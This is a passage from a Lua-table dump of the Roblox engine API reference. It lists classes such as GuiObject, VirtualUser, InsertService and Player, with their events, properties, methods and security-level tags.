 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;F2&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;F3&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 LayerCollector = {
 Inherits = &quot;GuiBase2d&quot;,
 Events = {
 },
 ClassName = &quot;LayerCollector&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 GlobalSettings = {
 Inherits = &quot;GenericSettings&quot;,
 Events = {
 },
 ClassName = &quot;GlobalSettings&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;GetFFlag&quot;
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;GetFVariable&quot;
 },
 {
 ReturnType = &quot;Dictionary&quot;,
 Arguments = {
 },
 Name = &quot;GetFVariables&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 Geometry = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Geometry&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ManualWeld = {
 Inherits = &quot;ManualSurfaceJointInstance&quot;,
 Events = {
 },
 ClassName = &quot;ManualWeld&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 GuiObject = {
 Inherits = &quot;GuiBase2d&quot;,
 Events = {
 {
 Name = &quot;DragBegin&quot;,
 Arguments = {
 {
 Name = &quot;initialPosition&quot;,
 Type = &quot;UDim2&quot;
 }
 }
 },
 {
 Name = &quot;DragStopped&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseEnter&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseLeave&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseMoved&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseWheelBackward&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseWheelForward&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 }
 },
 ClassName = &quot;GuiObject&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Active&quot;,
 Type = &quot;bool&quot;
 },
 {
 deprecated = true,
 Type = &quot;BrickColor&quot;,
 Name = &quot;BackgroundColor&quot;,
 hidden = true
 },
 {
 Name = &quot;BackgroundColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;BackgroundTransparency&quot;,
 Type = &quot;float&quot;
 },
 {
 deprecated = true,
 Type = &quot;BrickColor&quot;,
 Name = &quot;BorderColor&quot;,
 hidden = true
 },
 {
 Name = &quot;BorderColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;BorderSizePixel&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;ClipsDescendants&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Draggable&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Position&quot;,
 Type = &quot;UDim2&quot;
 },
 {
 Name = &quot;Size&quot;,
 Type = &quot;UDim2&quot;
 },
 {
 Name = &quot;SizeConstraint&quot;,
 Type = &quot;SizeConstraint&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;Transparency&quot;,
 hidden = true
 },
 {
 Name = &quot;Visible&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ZIndex&quot;,
 Type = &quot;int&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;endPosition&quot;,
 Type = &quot;UDim2&quot;
 },
 {
 Type = &quot;EasingDirection&quot;,
 Name = &quot;easingDirection&quot;,
 DefaultValue = &quot;Out&quot;
 },
 {
 Type = &quot;EasingStyle&quot;,
 Name = &quot;easingStyle&quot;,
 DefaultValue = &quot;Quad&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;time&quot;,
 DefaultValue = &quot;1&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;override&quot;,
 DefaultValue = &quot;false&quot;
 },
 {
 Type = &quot;Function&quot;,
 Name = &quot;callback&quot;,
 DefaultValue = &quot;nil&quot;
 }
 },
 Name = &quot;TweenPosition&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;endSize&quot;,
 Type = &quot;UDim2&quot;
 },
 {
 Type = &quot;EasingDirection&quot;,
 Name = &quot;easingDirection&quot;,
 DefaultValue = &quot;Out&quot;
 },
 {
 Type = &quot;EasingStyle&quot;,
 Name = &quot;easingStyle&quot;,
 DefaultValue = &quot;Quad&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;time&quot;,
 DefaultValue = &quot;1&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;override&quot;,
 DefaultValue = &quot;false&quot;
 },
 {
 Type = &quot;Function&quot;,
 Name = &quot;callback&quot;,
 DefaultValue = &quot;nil&quot;
 }
 },
 Name = &quot;TweenSize&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;endSize&quot;,
 Type = &quot;UDim2&quot;
 },
 {
 Name = &quot;endPosition&quot;,
 Type = &quot;UDim2&quot;
 },
 {
 Type = &quot;EasingDirection&quot;,
 Name = &quot;easingDirection&quot;,
 DefaultValue = &quot;Out&quot;
 },
 {
 Type = &quot;EasingStyle&quot;,
 Name = &quot;easingStyle&quot;,
 DefaultValue = &quot;Quad&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;time&quot;,
 DefaultValue = &quot;1&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;override&quot;,
 DefaultValue = &quot;false&quot;
 },
 {
 Type = &quot;Function&quot;,
 Name = &quot;callback&quot;,
 DefaultValue = &quot;nil&quot;
 }
 },
 Name = &quot;TweenSizeAndPosition&quot;
 }
 }
 },
 DebuggerBreakpoint = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;DebuggerBreakpoint&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Condition&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;IsEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;Line&quot;,
 readonly = true
 }
 },
 notCreatable = true,
 Methods = {
 }
 },
 FWService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;FWService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Pose = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Pose&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CFrame&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;MaskWeight&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Weight&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;pose&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;AddSubPose&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetSubPoses&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;pose&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RemoveSubPose&quot;
 }
 }
 },
 PlayerMouse = {
 Inherits = &quot;Mouse&quot;,
 Events = {
 },
 ClassName = &quot;PlayerMouse&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Hat = {
 Inherits = &quot;Accoutrement&quot;,
 Events = {
 },
 ClassName = &quot;Hat&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 VirtualUser = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;VirtualUser&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;camera&quot;,
 DefaultValue = &quot;Identity&quot;
 }
 },
 Name = &quot;Button1Down&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;camera&quot;,
 DefaultValue = &quot;Identity&quot;
 }
 },
 Name = &quot;Button1Up&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;camera&quot;,
 DefaultValue = &quot;Identity&quot;
 }
 },
 Name = &quot;Button2Down&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;camera&quot;,
 DefaultValue = &quot;Identity&quot;
 }
 },
 Name = &quot;Button2Up&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;CaptureController&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;camera&quot;,
 DefaultValue = &quot;Identity&quot;
 }
 },
 Name = &quot;ClickButton1&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;camera&quot;,
 DefaultValue = &quot;Identity&quot;
 }
 },
 Name = &quot;ClickButton2&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;camera&quot;,
 DefaultValue = &quot;Identity&quot;
 }
 },
 Name = &quot;MoveMouse&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetKeyDown&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetKeyUp&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;StartRecording&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 },
 Name = &quot;StopRecording&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;TypeKey&quot;,
 LocalUserSecurity = true
 }
 }
 },
 InsertService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;InsertService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;ApproveAssetId&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;assetVersionId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;ApproveAssetVersionId&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;instance&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;Insert&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;enable&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;user&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;SetAdvancedResults&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;assetUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetAssetUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;assetVersionUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetAssetVersionUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;baseSetsUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetBaseCategoryUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;baseSetsUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetBaseSetsUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;collectionUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetCollectionUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;freeDecalUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetFreeDecalUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;freeModelUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetFreeModelUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;trustLevel&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;SetTrustLevel&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;userSetsUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetUserCategoryUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;userSetsUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetUserSetsUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetBaseCategories&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetBaseSets&quot;
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 {
 Name = &quot;categoryId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetCollection&quot;
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 {
 Name = &quot;searchText&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;pageNum&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetFreeDecals&quot;
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 {
 Name = &quot;searchText&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;pageNum&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetFreeModels&quot;
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetUserCategories&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetUserSets&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;LoadAsset&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;assetVersionId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;LoadAssetVersion&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;loadAsset&quot;,
 deprecated = true
 }
 }
 },
 Message = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Message&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Text&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 }
 },
 Player = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;CharacterAdded&quot;,
 Arguments = {
 {
 Name = &quot;character&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;CharacterRemoving&quot;,
 Arguments = {
 {
 Name = &quot;character&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;Chatted&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;recipient&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;friendStatus&quot;,
 Type = &quot;FriendStatus&quot;
 }
 },
 Name = &quot;FriendStatusChanged&quot;,
 RobloxScriptSecurity = true
 },
 {
 Name = &quot;Idled&quot;,
 Arguments = {
 {
 Name = &quot;time&quot;,
 Type = &quot;double&quot;
 }
 }
 }
 },
 ClassName = &quot;Player&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;AccountAge&quot;,
 readonly = true
 },
 {
 RobloxScriptSecurity = true,
 Type = &quot;bool&quot;,
 Name = &quot;AppearanceDidLoad&quot;,
 readonly = true
 },
 {
 Name = &quot;CameraMode&quot;,
 Type = &quot;CameraMode&quot;
 },
 {
 Name = &quot;CanLoadCharacterAppearance&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Character&quot;,
 Type = &quot;Object&quot;
 },
 {
 notbrowsable = true,
 Type = &quot;string&quot;,
 Name = &quot;CharacterAppearance&quot;
 },
 {
 RobloxScriptSecurity = true,
 Type = &quot;ChatMode&quot;,
 Name = &quot;ChatMode&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;DataComplexity&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;DataComplexityLimit&quot;,
 LocalUserSecurity = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;DataReady&quot;,
 readonly = true
 },
 {
 RobloxScriptSecurity = true,
 Type = &quot;bool&quot;,
 Name = &quot;Guest&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;HasBuildTools&quot;,
 RobloxScriptSecurity = true
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;MaxSimulationRadius&quot;,
 LocalUserSecurity = true
 },
 {
 Type = &quot;MembershipType&quot;,
 Name = &quot;MembershipType&quot;,
 readonly = true
 },
 {
 Name = &quot;Neutral&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;PersonalServerRank&quot;,
 RobloxScriptSecurity = true
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;SimulationRadius&quot;,
 LocalUserSecurity = true
 },
 {
 Name = &quot;TeamColor&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ClearCharacterAppearance&quot;
 },
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 {
 Name = &quot;point&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;DistanceFromCharacter&quot;
 },
 {
 ReturnType = &quot;FriendStatus&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;GetFriendStatus&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 },
 Name = &quot;GetMouse&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;GetUnder13&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;LoadBoolean&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;inGame&quot;,
 DefaultValue = &quot;true&quot;
 }
 },
 Name = &quot;LoadCharacter&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;assetInstance&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;LoadCharacterAppearance&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;LoadData&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;LoadInstance&quot;
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;LoadNumber&quot;
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;LoadString&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;RemoveCharacter&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RequestFriendship&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RevokeFriendship&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SaveBoolean&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;SaveData&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;SaveInstance&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;SaveLeaderboardData&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;SaveNumber&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SaveString&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;accountAge&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetAccountAge&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;membershipType&quot;,
 Type = &quot;MembershipType&quot;
 }
 },
 Name = &quot;SetMembershipType&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetSuperSafeChat&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetUnder13&quot;,
 deprecated = true,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;loadBoolean&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;loadInstance&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;loadNumber&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;loadString&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;saveBoolean&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;saveInstance&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;saveNumber&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;saveString&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;int&quot;,
 Arguments = {
 {
 Name = &quot;groupId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetRankInGroup&quot;
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;groupId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetRoleInGroup&quot;
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 },
 Name = &quot;GetWebPersonalServerRank&quot;,
 backend = true,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;IsBestFriendsWith&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;IsFriendsWith&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;groupId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;IsInGroup&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;rank&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetWebPersonalServerRank&quot;,
 WritePlayerSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;WaitForDataReady&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;isFriendsWith&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;waitForDataReady&quot;,
 deprecated = true
 }
 }
 },
 ContentProvider = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ContentProvider&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;string&quot;,
 Name = &quot;BaseUrl&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;RequestQueueSize&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;contentId&quot;,
 Type = &quot;Content&quot;
 }
